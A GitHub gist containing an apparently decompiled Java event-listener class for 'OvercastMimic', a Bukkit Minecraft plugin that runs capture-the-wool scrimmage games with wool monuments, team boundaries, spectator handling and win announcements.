Last active
December 20, 2015 15:29
-
-
Save rmsy/6154511 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package me.Barnyard_Owl.OvercastMimic; | |
import java.util.Iterator; | |
import java.util.logging.Logger; | |
import me.Barnyard_Owl.OvercastMimic.OvercastMimic; | |
import me.Barnyard_Owl.OvercastMimic.c; | |
import me.Barnyard_Owl.OvercastMimic.d; | |
import me.Barnyard_Owl.OvercastMimic.g; | |
import org.bukkit.Bukkit; | |
import org.bukkit.ChatColor; | |
import org.bukkit.GameMode; | |
import org.bukkit.Location; | |
import org.bukkit.Material; | |
import org.bukkit.block.Block; | |
import org.bukkit.entity.HumanEntity; | |
import org.bukkit.entity.Player; | |
import org.bukkit.event.Listener; | |
import org.bukkit.event.block.Action; | |
import org.bukkit.event.block.BlockBreakEvent; | |
import org.bukkit.event.block.BlockBurnEvent; | |
import org.bukkit.event.block.BlockFromToEvent; | |
import org.bukkit.event.block.BlockPhysicsEvent; | |
import org.bukkit.event.block.BlockPlaceEvent; | |
import org.bukkit.event.entity.EntityDamageByEntityEvent; | |
import org.bukkit.event.inventory.InventoryClickEvent; | |
import org.bukkit.event.player.PlayerChangedWorldEvent; | |
import org.bukkit.event.player.PlayerChatEvent; | |
import org.bukkit.event.player.PlayerDropItemEvent; | |
import org.bukkit.event.player.PlayerInteractEvent; | |
import org.bukkit.event.player.PlayerJoinEvent; | |
import org.bukkit.event.player.PlayerLoginEvent; | |
import org.bukkit.event.player.PlayerMoveEvent; | |
import org.bukkit.event.player.PlayerPickupItemEvent; | |
import org.bukkit.event.player.PlayerQuitEvent; | |
import org.bukkit.event.player.PlayerRespawnEvent; | |
import org.bukkit.event.player.PlayerLoginEvent.Result; | |
import org.bukkit.event.server.ServerListPingEvent; | |
import org.bukkit.event.weather.LightningStrikeEvent; | |
import org.bukkit.event.weather.ThunderChangeEvent; | |
import org.bukkit.event.weather.WeatherChangeEvent; | |
import org.bukkit.event.world.StructureGrowEvent; | |
import org.bukkit.inventory.ItemStack; | |
import org.bukkit.potion.PotionEffect; | |
import org.bukkit.potion.PotionEffectType; | |
import org.bukkit.scoreboard.Scoreboard; | |
import org.bukkit.scoreboard.ScoreboardManager; | |
import org.bukkit.scoreboard.Team; | |
public class b implements Listener { | |
private final OvercastMimic b; | |
public final Logger a = Logger.getLogger("Minecraft"); | |
private static String c = "Credit goes to Chronicals for the onServerListPing and onPlayerLogin methods"; | |
public b(OvercastMimic var1) { | |
this.b = var1; | |
var1.getServer().getPluginManager().registerEvents(this, var1); | |
} | |
public void a(PlayerJoinEvent var1) { | |
var1.setJoinMessage((String)null); | |
Player var2 = var1.getPlayer(); | |
String var3 = var2.getDisplayName(); | |
ScoreboardManager var4; | |
Scoreboard var5; | |
Team var6; | |
if(var2.getGameMode() == GameMode.CREATIVE || !OvercastMimic.e) { | |
var2.setGameMode(GameMode.CREATIVE); | |
var2.setAllowFlight(true); | |
var2.addPotionEffect(new PotionEffect(PotionEffectType.INVISIBILITY, 1000000, 1)); | |
var2.addPotionEffect(new PotionEffect(PotionEffectType.SATURATION, 1000000, 1)); | |
var2.teleport(g.B); | |
var2.getInventory().clear(); | |
var2.getInventory().setHelmet((ItemStack)null); | |
var2.getInventory().setChestplate((ItemStack)null); | |
var2.getInventory().setLeggings((ItemStack)null); | |
var2.getInventory().setBoots((ItemStack)null); | |
if(OvercastMimic.d.contains(var2.getDisplayName())) { | |
OvercastMimic.d.remove(var2.getDisplayName()); | |
} | |
if(OvercastMimic.b.contains(var2.getDisplayName())) { | |
OvercastMimic.b.remove(var2.getDisplayName()); | |
} | |
if(OvercastMimic.c.contains(var2.getDisplayName())) { | |
OvercastMimic.c.remove(var2.getDisplayName()); | |
} | |
OvercastMimic.d.add(var2.getDisplayName()); | |
var4 = Bukkit.getScoreboardManager(); | |
var5 = var4.getMainScoreboard(); | |
var6 = var5.getTeam("spec"); | |
var6.addPlayer(var2); | |
} | |
if(OvercastMimic.a(var2) == "") { | |
var4 = Bukkit.getScoreboardManager(); | |
var5 = var4.getMainScoreboard(); | |
var6 = var5.getTeam("spec"); | |
var6.addPlayer(var2); | |
OvercastMimic.d.add(var2.getDisplayName()); | |
if(OvercastMimic.b.contains(var2.getDisplayName())) { | |
OvercastMimic.b.remove(var2.getDisplayName()); | |
} | |
if(OvercastMimic.c.contains(var2.getDisplayName())) { | |
OvercastMimic.c.remove(var2.getDisplayName()); | |
} | |
} | |
Bukkit.broadcastMessage(ChatColor.AQUA + "Player " + ChatColor.DARK_AQUA + var3 + ChatColor.AQUA + " has joined the server."); | |
var2.sendMessage(ChatColor.GRAY + "Welcome to Revision\'s Scrimming Server! It is currently running OvercastMimic, (Developed by Barnyard_Owl) with the map " + g.q + ". (Made by " + g.r + ") YAML Config courtesy of " + g.s + "."); | |
} | |
public void a(PlayerQuitEvent var1) { | |
var1.setQuitMessage((String)null); | |
Player var2 = var1.getPlayer(); | |
String var3 = var2.getDisplayName(); | |
Bukkit.broadcastMessage(ChatColor.AQUA + "Player " + ChatColor.DARK_AQUA + var3 + ChatColor.AQUA + " has left the server."); | |
} | |
public void a(BlockBreakEvent var1) { | |
Block var2 = var1.getBlock(); | |
int var3 = 0; | |
int var4 = 0; | |
int var5 = 0; | |
int var6 = 0; | |
String[] var10 = g.t; | |
int var9 = g.t.length; | |
int var8 = 0; | |
while(var8 < var9) { | |
String var7 = var10[var8]; | |
++var6; | |
switch(var6) { | |
case 1: | |
var3 = Integer.parseInt(var7); | |
case 2: | |
var4 = Integer.parseInt(var7); | |
case 3: | |
var5 = Integer.parseInt(var7); | |
default: | |
++var8; | |
} | |
} | |
Location var14 = new Location(Bukkit.getWorld(g.q), (double)var3, (double)var4, (double)var5); | |
var6 = 0; | |
String[] var11 = g.u; | |
int var21 = g.u.length; | |
var9 = 0; | |
while(var9 < var21) { | |
String var15 = var11[var9]; | |
++var6; | |
switch(var6) { | |
case 1: | |
var3 = Integer.parseInt(var15); | |
case 2: | |
var4 = Integer.parseInt(var15); | |
case 3: | |
var5 = Integer.parseInt(var15); | |
default: | |
++var9; | |
} | |
} | |
Location var16 = new Location(Bukkit.getWorld(g.q), (double)var3, (double)var4, (double)var5); | |
var6 = 0; | |
String[] var12 = g.v; | |
int var19 = g.v.length; | |
var21 = 0; | |
while(var21 < var19) { | |
String var17 = var12[var21]; | |
++var6; | |
switch(var6) { | |
case 1: | |
var3 = Integer.parseInt(var17); | |
case 2: | |
var4 = Integer.parseInt(var17); | |
case 3: | |
var5 = Integer.parseInt(var17); | |
default: | |
++var21; | |
} | |
} | |
Location var20 = new Location(Bukkit.getWorld(g.q), (double)var3, (double)var4, (double)var5); | |
var6 = 0; | |
String[] var13 = g.w; | |
int var22 = g.w.length; | |
var19 = 0; | |
while(var19 < var22) { | |
String var18 = var13[var19]; | |
++var6; | |
switch(var6) { | |
case 1: | |
var3 = Integer.parseInt(var18); | |
case 2: | |
var4 = Integer.parseInt(var18); | |
case 3: | |
var5 = Integer.parseInt(var18); | |
default: | |
++var19; | |
} | |
} | |
Location var23 = new Location(Bukkit.getWorld(g.q), (double)var3, (double)var4, (double)var5); | |
if(var2.getLocation().equals(var14)) { | |
var1.setCancelled(true); | |
} | |
if(var2.getLocation().equals(var16)) { | |
var1.setCancelled(true); | |
} | |
if(var2.getLocation().equals(var20)) { | |
var1.setCancelled(true); | |
} | |
if(var2.getLocation().equals(var23)) { | |
var1.setCancelled(true); | |
} | |
} | |
public void a(BlockPlaceEvent var1) { | |
if(var1.getPlayer().getGameMode() == GameMode.CREATIVE && var1.getBlock().getTypeId() == 111) { | |
var1.setCancelled(true); | |
c var2 = new c(this.b, var1.getBlock()); | |
for(long var3 = 1L; var3 <= 20L; ++var3) { | |
Bukkit.getServer().getScheduler().runTaskLater(this.b, var2, var3); | |
} | |
} | |
boolean var22 = false; | |
boolean var23 = false; | |
boolean var4 = false; | |
boolean var5 = false; | |
Block var6 = var1.getBlock(); | |
int var8 = 0; | |
int var9 = 0; | |
int var10 = 0; | |
int var11 = 0; | |
String[] var15 = g.t; | |
int var14 = g.t.length; | |
int var13 = 0; | |
while(var13 < var14) { | |
String var12 = var15[var13]; | |
++var11; | |
switch(var11) { | |
case 1: | |
var8 = Integer.parseInt(var12); | |
case 2: | |
var9 = Integer.parseInt(var12); | |
case 3: | |
var10 = Integer.parseInt(var12); | |
default: | |
++var13; | |
} | |
} | |
Location var24 = new Location(Bukkit.getWorld(g.q), (double)var8, (double)var9, (double)var10); | |
var11 = 0; | |
String[] var16 = g.u; | |
int var28 = g.u.length; | |
var14 = 0; | |
while(var14 < var28) { | |
String var25 = var16[var14]; | |
++var11; | |
switch(var11) { | |
case 1: | |
var8 = Integer.parseInt(var25); | |
case 2: | |
var9 = Integer.parseInt(var25); | |
case 3: | |
var10 = Integer.parseInt(var25); | |
default: | |
++var14; | |
} | |
} | |
Location var26 = new Location(Bukkit.getWorld(g.q), (double)var8, (double)var9, (double)var10); | |
var11 = 0; | |
String[] var17 = g.v; | |
int var32 = g.v.length; | |
var28 = 0; | |
while(var28 < var32) { | |
String var27 = var17[var28]; | |
++var11; | |
switch(var11) { | |
case 1: | |
var8 = Integer.parseInt(var27); | |
case 2: | |
var9 = Integer.parseInt(var27); | |
case 3: | |
var10 = Integer.parseInt(var27); | |
default: | |
++var28; | |
} | |
} | |
Location var29 = new Location(Bukkit.getWorld(g.q), (double)var8, (double)var9, (double)var10); | |
var11 = 0; | |
String[] var18 = g.w; | |
int var34 = g.w.length; | |
var32 = 0; | |
while(var32 < var34) { | |
String var31 = var18[var32]; | |
++var11; | |
switch(var11) { | |
case 1: | |
var8 = Integer.parseInt(var31); | |
case 2: | |
var9 = Integer.parseInt(var31); | |
case 3: | |
var10 = Integer.parseInt(var31); | |
default: | |
++var32; | |
} | |
} | |
Location var30 = new Location(Bukkit.getWorld(g.q), (double)var8, (double)var9, (double)var10); | |
Block var7 = var24.getBlock(); | |
if(var7.getType() == Material.WOOL && var7.getData() == g.m.getData()) { | |
var4 = true; | |
} | |
var7 = var26.getBlock(); | |
if(var7.getType() == Material.WOOL && var7.getData() == g.n.getData()) { | |
var5 = true; | |
} | |
var7 = var29.getBlock(); | |
if(var7.getType() == Material.WOOL && var7.getData() == g.o.getData()) { | |
var22 = true; | |
} | |
var7 = var30.getBlock(); | |
if(var7.getType() == Material.WOOL && var7.getData() == g.p.getData()) { | |
var23 = true; | |
} | |
Player[] var19; | |
d var21; | |
Location var20; | |
int var35; | |
Player var33; | |
if(var6.getType() == Material.WOOL && var6.getData() == g.m.getData() && var6.getLocation().equals(var24)) { | |
Bukkit.broadcastMessage(ChatColor.AQUA + "Alert: The " + g.f + ChatColor.BOLD + g.e + ChatColor.RESET + ChatColor.AQUA + " wool has been placed for the " + g.b + ChatColor.BOLD + g.a + ChatColor.RESET + ChatColor.AQUA + " team!"); | |
if(var4 && var5) { | |
Bukkit.broadcastMessage("" + g.b + ChatColor.BOLD + g.a + ChatColor.RESET + ChatColor.AQUA + " has won the game!" + ChatColor.GREEN + " Good game!"); | |
OvercastMimic.e = false; | |
var35 = (var19 = Bukkit.getOnlinePlayers()).length; | |
for(var34 = 0; var34 < var35; ++var34) { | |
var33 = var19[var34]; | |
var33.setGameMode(GameMode.CREATIVE); | |
var33.setAllowFlight(true); | |
var33.addPotionEffect(new PotionEffect(PotionEffectType.INVISIBILITY, 1000000, 1)); | |
var33.addPotionEffect(new PotionEffect(PotionEffectType.SATURATION, 1000000, 1)); | |
var33.getInventory().clear(); | |
var33.getInventory().setHelmet((ItemStack)null); | |
var33.getInventory().setChestplate((ItemStack)null); | |
var33.getInventory().setLeggings((ItemStack)null); | |
var33.getInventory().setBoots((ItemStack)null); | |
var33.updateInventory(); | |
var20 = var33.getLocation(); | |
var20 = g.B; | |
var21 = new d(this.b, var33, var20); | |
Bukkit.getServer().getScheduler().runTaskLater(this.b, var21, 0L); | |
} | |
} | |
} else if(var6.getLocation().equals(var24)) { | |
var1.setCancelled(true); | |
} | |
if(var6.getType() == Material.WOOL && var6.getData() == g.n.getData() && var6.getLocation().equals(var26)) { | |
Bukkit.broadcastMessage(ChatColor.AQUA + "Alert: The " + g.h + ChatColor.BOLD + g.g + ChatColor.RESET + ChatColor.AQUA + " wool has been placed for the " + g.b + ChatColor.BOLD + g.a + ChatColor.RESET + ChatColor.AQUA + " team!"); | |
if(var4 && var5) { | |
Bukkit.broadcastMessage("" + g.b + ChatColor.BOLD + g.a + ChatColor.RESET + ChatColor.AQUA + " has won the game!" + ChatColor.GREEN + " Good game!"); | |
OvercastMimic.e = false; | |
var35 = (var19 = Bukkit.getOnlinePlayers()).length; | |
for(var34 = 0; var34 < var35; ++var34) { | |
var33 = var19[var34]; | |
var33.setGameMode(GameMode.CREATIVE); | |
var33.setAllowFlight(true); | |
var33.addPotionEffect(new PotionEffect(PotionEffectType.INVISIBILITY, 1000000, 1)); | |
var33.addPotionEffect(new PotionEffect(PotionEffectType.SATURATION, 1000000, 1)); | |
var33.getInventory().clear(); | |
var33.getInventory().setHelmet((ItemStack)null); | |
var33.getInventory().setChestplate((ItemStack)null); | |
var33.getInventory().setLeggings((ItemStack)null); | |
var33.getInventory().setBoots((ItemStack)null); | |
var33.updateInventory(); | |
var20 = var33.getLocation(); | |
var20 = g.B; | |
var21 = new d(this.b, var33, var20); | |
Bukkit.getServer().getScheduler().runTaskLater(this.b, var21, 0L); | |
} | |
} | |
} else if(var6.getLocation().equals(var26)) { | |
var1.setCancelled(true); | |
} | |
if(var6.getType() == Material.WOOL && var6.getData() == g.o.getData() && var6.getLocation().equals(var29)) { | |
Bukkit.broadcastMessage(ChatColor.AQUA + "Alert: The " + g.j + ChatColor.BOLD + g.i + ChatColor.RESET + ChatColor.AQUA + " wool has been placed for the " + g.d + ChatColor.BOLD + g.c + ChatColor.RESET + ChatColor.AQUA + " team!"); | |
if(var22 && var23) { | |
Bukkit.broadcastMessage("" + g.d + ChatColor.BOLD + g.c + ChatColor.RESET + ChatColor.AQUA + " has won the game!" + ChatColor.GREEN + " Good game!"); | |
OvercastMimic.e = false; | |
var35 = (var19 = Bukkit.getOnlinePlayers()).length; | |
for(var34 = 0; var34 < var35; ++var34) { | |
var33 = var19[var34]; | |
var33.setGameMode(GameMode.CREATIVE); | |
var33.setAllowFlight(true); | |
var33.addPotionEffect(new PotionEffect(PotionEffectType.INVISIBILITY, 1000000, 1)); | |
var33.addPotionEffect(new PotionEffect(PotionEffectType.SATURATION, 1000000, 1)); | |
var33.getInventory().clear(); | |
var33.getInventory().setHelmet((ItemStack)null); | |
var33.getInventory().setChestplate((ItemStack)null); | |
var33.getInventory().setLeggings((ItemStack)null); | |
var33.getInventory().setBoots((ItemStack)null); | |
var33.updateInventory(); | |
var20 = var33.getLocation(); | |
var20 = g.B; | |
var21 = new d(this.b, var33, var20); | |
Bukkit.getServer().getScheduler().runTaskLater(this.b, var21, 0L); | |
} | |
} | |
} else if(var6.getLocation().equals(var29)) { | |
var1.setCancelled(true); | |
} | |
if(var6.getType() == Material.WOOL && var6.getData() == g.p.getData() && var6.getLocation().equals(var30)) { | |
Bukkit.broadcastMessage(ChatColor.AQUA + "Alert: The " + g.l + ChatColor.BOLD + g.k + ChatColor.RESET + ChatColor.AQUA + " wool has been placed for the for the " + g.d + ChatColor.BOLD + g.c + ChatColor.RESET + ChatColor.AQUA + " team!"); | |
if(var22 && var23) { | |
Bukkit.broadcastMessage("" + g.d + ChatColor.BOLD + g.c + ChatColor.RESET + ChatColor.AQUA + " has won the game!" + ChatColor.GREEN + " Good game!"); | |
OvercastMimic.e = false; | |
var35 = (var19 = Bukkit.getOnlinePlayers()).length; | |
for(var34 = 0; var34 < var35; ++var34) { | |
var33 = var19[var34]; | |
var33.setGameMode(GameMode.CREATIVE); | |
var33.getAllowFlight(); | |
var33.addPotionEffect(new PotionEffect(PotionEffectType.INVISIBILITY, 1000000, 1)); | |
var33.addPotionEffect(new PotionEffect(PotionEffectType.SATURATION, 1000000, 1)); | |
var33.getInventory().clear(); | |
var33.getInventory().setHelmet((ItemStack)null); | |
var33.getInventory().setChestplate((ItemStack)null); | |
var33.getInventory().setLeggings((ItemStack)null); | |
var33.getInventory().setBoots((ItemStack)null); | |
var33.updateInventory(); | |
var20 = var33.getLocation(); | |
var20 = g.B; | |
var21 = new d(this.b, var33, var20); | |
Bukkit.getServer().getScheduler().runTaskLater(this.b, var21, 0L); | |
} | |
} | |
} else if(var6.getLocation().equals(var30)) { | |
var1.setCancelled(true); | |
} | |
} | |
public void a(BlockBurnEvent var1) { | |
int var2 = 0; | |
int var3 = 0; | |
int var4 = 0; | |
int var5 = 0; | |
String[] var9 = g.t; | |
int var8 = g.t.length; | |
int var7 = 0; | |
while(var7 < var8) { | |
String var6 = var9[var7]; | |
++var5; | |
switch(var5) { | |
case 1: | |
var2 = Integer.parseInt(var6); | |
case 2: | |
var3 = Integer.parseInt(var6); | |
case 3: | |
var4 = Integer.parseInt(var6); | |
default: | |
++var7; | |
} | |
} | |
Location var13 = new Location(Bukkit.getWorld(g.q), (double)var2, (double)var3, (double)var4); | |
var5 = 0; | |
String[] var10 = g.u; | |
int var17 = g.u.length; | |
var8 = 0; | |
while(var8 < var17) { | |
String var15 = var10[var8]; | |
++var5; | |
switch(var5) { | |
case 1: | |
var2 = Integer.parseInt(var15); | |
case 2: | |
var3 = Integer.parseInt(var15); | |
case 3: | |
var4 = Integer.parseInt(var15); | |
default: | |
++var8; | |
} | |
} | |
Location var14 = new Location(Bukkit.getWorld(g.q), (double)var2, (double)var3, (double)var4); | |
var5 = 0; | |
String[] var11 = g.v; | |
int var21 = g.v.length; | |
var17 = 0; | |
while(var17 < var21) { | |
String var18 = var11[var17]; | |
++var5; | |
switch(var5) { | |
case 1: | |
var2 = Integer.parseInt(var18); | |
case 2: | |
var3 = Integer.parseInt(var18); | |
case 3: | |
var4 = Integer.parseInt(var18); | |
default: | |
++var17; | |
} | |
} | |
Location var16 = new Location(Bukkit.getWorld(g.q), (double)var2, (double)var3, (double)var4); | |
var5 = 0; | |
String[] var12 = g.w; | |
int var19 = g.w.length; | |
var21 = 0; | |
while(var21 < var19) { | |
String var20 = var12[var21]; | |
++var5; | |
switch(var5) { | |
case 1: | |
var2 = Integer.parseInt(var20); | |
case 2: | |
var3 = Integer.parseInt(var20); | |
case 3: | |
var4 = Integer.parseInt(var20); | |
default: | |
++var21; | |
} | |
} | |
Location var22 = new Location(Bukkit.getWorld(g.q), (double)var2, (double)var3, (double)var4); | |
if(!var1.getBlock().getLocation().equals(var13) && !var1.getBlock().getLocation().equals(var14) && !var1.getBlock().getLocation().equals(var16)) { | |
var1.getBlock().getLocation().equals(var22); | |
} | |
} | |
public void a(PlayerMoveEvent var1) { | |
int var2 = 0; | |
String var3 = ""; | |
int var4 = 0; | |
String[] var8 = g.x; | |
int var7 = g.x.length; | |
String var5; | |
int var6; | |
for(var6 = 0; var6 < var7; ++var6) { | |
var5 = var8[var6]; | |
++var2; | |
if(var2 == 1) { | |
var3 = var5; | |
} else if(var2 == 2) { | |
var4 = Integer.parseInt(var5); | |
} | |
} | |
Location var9; | |
if(var3.contains("X")) { | |
if(var3.contains("+")) { | |
if(var1.getPlayer().getLocation().getX() >= (double)var4 && OvercastMimic.a(var1.getPlayer()).equals(g.a)) { | |
var1.setCancelled(true); | |
var9 = var1.getPlayer().getLocation(); | |
var9.setX(var9.getX() - 0.2D); | |
var1.getPlayer().teleport(var9); | |
} | |
} else if(var3.contains("-") && var1.getPlayer().getLocation().getX() <= (double)var4 && OvercastMimic.a(var1.getPlayer()).equals(g.a)) { | |
var1.setCancelled(true); | |
var9 = var1.getPlayer().getLocation(); | |
var9.setX(var9.getX() + 0.2D); | |
var1.getPlayer().teleport(var9); | |
} | |
} else if(var3.contains("Z")) { | |
if(var3.contains("+")) { | |
if(var1.getPlayer().getLocation().getZ() >= (double)var4 && OvercastMimic.a(var1.getPlayer()).equals(g.a)) { | |
var1.setCancelled(true); | |
var9 = var1.getPlayer().getLocation(); | |
var9.setZ(var9.getZ() - 0.2D); | |
var1.getPlayer().teleport(var9); | |
} | |
} else if(var3.contains("-") && var1.getPlayer().getLocation().getZ() <= (double)var4 && OvercastMimic.a(var1.getPlayer()).equals(g.a)) { | |
var1.setCancelled(true); | |
var9 = var1.getPlayer().getLocation(); | |
var9.setZ(var9.getZ() + 0.2D); | |
var1.getPlayer().teleport(var9); | |
} | |
} | |
var2 = 0; | |
var3 = ""; | |
var4 = 0; | |
var8 = g.y; | |
var7 = g.y.length; | |
for(var6 = 0; var6 < var7; ++var6) { | |
var5 = var8[var6]; | |
++var2; | |
if(var2 == 1) { | |
var3 = var5; | |
} else if(var2 == 2) { | |
var4 = Integer.parseInt(var5); | |
} | |
} | |
if(var3.contains("X")) { | |
if(var3.contains("+")) { | |
if(var1.getPlayer().getLocation().getX() >= (double)var4 && OvercastMimic.a(var1.getPlayer()).equals(g.c)) { | |
var1.setCancelled(true); | |
var9 = var1.getPlayer().getLocation(); | |
var9.setX(var9.getX() - 0.2D); | |
var1.getPlayer().teleport(var9); | |
} | |
} else if(var3.contains("-") && var1.getPlayer().getLocation().getX() <= (double)var4 && OvercastMimic.a(var1.getPlayer()).equals(g.c)) { | |
var1.setCancelled(true); | |
var9 = var1.getPlayer().getLocation(); | |
var9.setX(var9.getX() + 0.2D); | |
var1.getPlayer().teleport(var9); | |
} | |
} else if(var3.contains("Z")) { | |
if(var3.contains("+")) { | |
if(var1.getPlayer().getLocation().getZ() >= (double)var4 && OvercastMimic.a(var1.getPlayer()).equals(g.c)) { | |
var1.setCancelled(true); | |
var9 = var1.getPlayer().getLocation(); | |
var9.setZ(var9.getZ() - 0.2D); | |
var1.getPlayer().teleport(var9); | |
} | |
} else if(var3.contains("-") && var1.getPlayer().getLocation().getZ() <= (double)var4 && OvercastMimic.a(var1.getPlayer()).equals(g.c)) { | |
var1.setCancelled(true); | |
var9 = var1.getPlayer().getLocation(); | |
var9.setZ(var9.getZ() + 0.2D); | |
var1.getPlayer().teleport(var9); | |
} | |
} | |
} | |
public void a(PlayerRespawnEvent var1) { | |
Player var2 = var1.getPlayer(); | |
Location var3 = var2.getLocation(); | |
if(var2.getGameMode() == GameMode.CREATIVE) { | |
var3 = g.B; | |
} else { | |
var2.addPotionEffect(new PotionEffect(PotionEffectType.DAMAGE_RESISTANCE, 200, 3)); | |
Iterator var5 = OvercastMimic.b.iterator(); | |
Object var4; | |
String var6; | |
while(var5.hasNext()) { | |
var4 = var5.next(); | |
var6 = (String)var4; | |
if(var2.getDisplayName().equals(var6)) { | |
var3 = g.z; | |
} | |
} | |
var5 = OvercastMimic.c.iterator(); | |
while(var5.hasNext()) { | |
var4 = var5.next(); | |
var6 = (String)var4; | |
if(var2.getDisplayName().equals(var6)) { | |
var3 = g.A; | |
} | |
} | |
} | |
d var7 = new d(this.b, var2, var3); | |
for(int var8 = 1; var8 <= 20; ++var8) { | |
Bukkit.getServer().getScheduler().runTaskLater(this.b, var7, 2L); | |
} | |
} | |
public void a(InventoryClickEvent var1) { | |
HumanEntity var2 = var1.getWhoClicked(); | |
if(var2.getGameMode() == GameMode.CREATIVE && !var2.isOp()) { | |
var1.setCancelled(true); | |
} else { | |
var1.setCancelled(false); | |
} | |
} | |
public void a(PlayerDropItemEvent var1) { | |
Player var2 = var1.getPlayer(); | |
if(var2.getGameMode() == GameMode.CREATIVE && !var2.isOp()) { | |
var1.setCancelled(true); | |
} else { | |
var1.setCancelled(false); | |
} | |
} | |
public void a(PlayerPickupItemEvent var1) { | |
Player var2 = var1.getPlayer(); | |
if(var2.getGameMode() == GameMode.CREATIVE && !var2.isOp()) { | |
var1.setCancelled(true); | |
} else { | |
var1.setCancelled(false); | |
} | |
} | |
public void a(PlayerChangedWorldEvent var1) { | |
Player var2 = var1.getPlayer(); | |
if(var2.getGameMode() == GameMode.CREATIVE) { | |
var2.isOp(); | |
} | |
} | |
public void a(StructureGrowEvent var1) { | |
var1.setCancelled(true); | |
} | |
public void a(WeatherChangeEvent var1) { | |
if(var1.toWeatherState()) { | |
var1.setCancelled(true); | |
} | |
} | |
public void a(ThunderChangeEvent var1) { | |
if(var1.toThunderState()) { | |
var1.setCancelled(true); | |
} | |
} | |
public void a(LightningStrikeEvent var1) { | |
var1.setCancelled(true); | |
} | |
public void a(PlayerInteractEvent var1) { | |
Player var2 = var1.getPlayer(); | |
if(var1.getAction().equals(Action.RIGHT_CLICK_BLOCK)) { | |
Block var3 = var1.getClickedBlock().getRelative(var1.getBlockFace()); | |
int var6; | |
int var10; | |
String[] var12; | |
String var23; | |
int var26; | |
if(var1.getMaterial() != Material.WOOL) { | |
int var4 = 0; | |
int var5 = 0; | |
var6 = 0; | |
int var7 = 0; | |
String[] var11 = g.t; | |
var10 = g.t.length; | |
int var9 = 0; | |
while(var9 < var10) { | |
String var8 = var11[var9]; | |
++var7; | |
switch(var7) { | |
case 1: | |
var4 = Integer.parseInt(var8); | |
case 2: | |
var5 = Integer.parseInt(var8); | |
case 3: | |
var6 = Integer.parseInt(var8); | |
default: | |
++var9; | |
} | |
} | |
Location var20 = new Location(Bukkit.getWorld(g.q), (double)var4, (double)var5, (double)var6); | |
var7 = 0; | |
var12 = g.u; | |
var26 = g.u.length; | |
var10 = 0; | |
while(var10 < var26) { | |
var23 = var12[var10]; | |
++var7; | |
switch(var7) { | |
case 1: | |
var4 = Integer.parseInt(var23); | |
case 2: | |
var5 = Integer.parseInt(var23); | |
case 3: | |
var6 = Integer.parseInt(var23); | |
default: | |
++var10; | |
} | |
} | |
Location var21 = new Location(Bukkit.getWorld(g.q), (double)var4, (double)var5, (double)var6); | |
var7 = 0; | |
String[] var13 = g.v; | |
int var28 = g.v.length; | |
var26 = 0; | |
while(var26 < var28) { | |
String var24 = var13[var26]; | |
++var7; | |
switch(var7) { | |
case 1: | |
var4 = Integer.parseInt(var24); | |
case 2: | |
var5 = Integer.parseInt(var24); | |
case 3: | |
var6 = Integer.parseInt(var24); | |
default: | |
++var26; | |
} | |
} | |
Location var25 = new Location(Bukkit.getWorld(g.q), (double)var4, (double)var5, (double)var6); | |
var7 = 0; | |
String[] var14 = g.w; | |
int var30 = g.w.length; | |
var28 = 0; | |
while(var28 < var30) { | |
String var27 = var14[var28]; | |
++var7; | |
switch(var7) { | |
case 1: | |
var4 = Integer.parseInt(var27); | |
case 2: | |
var5 = Integer.parseInt(var27); | |
case 3: | |
var6 = Integer.parseInt(var27); | |
default: | |
++var28; | |
} | |
} | |
Location var29 = new Location(Bukkit.getWorld(g.q), (double)var4, (double)var5, (double)var6); | |
if(var3.getLocation().equals(var20)) { | |
var1.setCancelled(true); | |
} | |
if(var3.getLocation().equals(var21)) { | |
var1.setCancelled(true); | |
} | |
if(var3.getLocation().equals(var25)) { | |
var1.setCancelled(true); | |
} | |
if(var3.getLocation().equals(var29)) { | |
var1.setCancelled(true); | |
} | |
} | |
if(var3.getLocation().getY() > (double)g.C) { | |
var1.setCancelled(true); | |
} | |
Location var17 = var3.getLocation(); | |
boolean var18 = true; | |
for(var6 = 0; var6 < 300; ++var6) { | |
var17.setY((double)var6); | |
if(var17.getBlock().getType() != Material.AIR) { | |
var18 = false; | |
} | |
} | |
if(var18) { | |
var1.setCancelled(true); | |
} | |
var6 = 0; | |
String var22 = ""; | |
int var19 = 0; | |
var12 = g.x; | |
var26 = g.x.length; | |
for(var10 = 0; var10 < var26; ++var10) { | |
var23 = var12[var10]; | |
++var6; | |
if(var6 == 1) { | |
var22 = var23; | |
} else if(var6 == 2) { | |
var19 = Integer.parseInt(var23); | |
} | |
} | |
if(var22.contains("X")) { | |
if(var22.contains("+")) { | |
if(var3.getLocation().getX() >= (double)var19 && OvercastMimic.a(var1.getPlayer()).equals(g.a)) { | |
var1.setCancelled(true); | |
} | |
} else if(var22.contains("-") && var3.getLocation().getX() <= (double)var19 && OvercastMimic.a(var1.getPlayer()).equals(g.a)) { | |
var1.setCancelled(true); | |
} | |
} else if(var22.contains("Z")) { | |
if(var22.contains("+")) { | |
if(var3.getLocation().getZ() >= (double)var19 && OvercastMimic.a(var1.getPlayer()).equals(g.a)) { | |
var1.setCancelled(true); | |
} | |
} else if(var22.contains("-") && var3.getLocation().getZ() <= (double)var19 && OvercastMimic.a(var1.getPlayer()).equals(g.a)) { | |
var1.setCancelled(true); | |
} | |
} | |
var6 = 0; | |
var22 = ""; | |
var19 = 0; | |
var12 = g.y; | |
var26 = g.y.length; | |
for(var10 = 0; var10 < var26; ++var10) { | |
var23 = var12[var10]; | |
++var6; | |
if(var6 == 1) { | |
var22 = var23; | |
} else if(var6 == 2) { | |
var19 = Integer.parseInt(var23); | |
} | |
} | |
if(var22.contains("X")) { | |
if(var22.contains("+")) { | |
if(var3.getLocation().getX() >= (double)var19 && OvercastMimic.a(var1.getPlayer()).equals(g.c)) { | |
var1.setCancelled(true); | |
} | |
} else if(var22.contains("-") && var3.getLocation().getX() <= (double)var19 && OvercastMimic.a(var1.getPlayer()).equals(g.c)) { | |
var1.setCancelled(true); | |
} | |
} else if(var22.contains("Z")) { | |
if(var22.contains("+")) { | |
if(var3.getLocation().getZ() >= (double)var19 && OvercastMimic.a(var1.getPlayer()).equals(g.c)) { | |
var1.setCancelled(true); | |
} | |
} else if(var22.contains("-") && var3.getLocation().getZ() <= (double)var19 && OvercastMimic.a(var1.getPlayer()).equals(g.c)) { | |
var1.setCancelled(true); | |
} | |
} | |
} | |
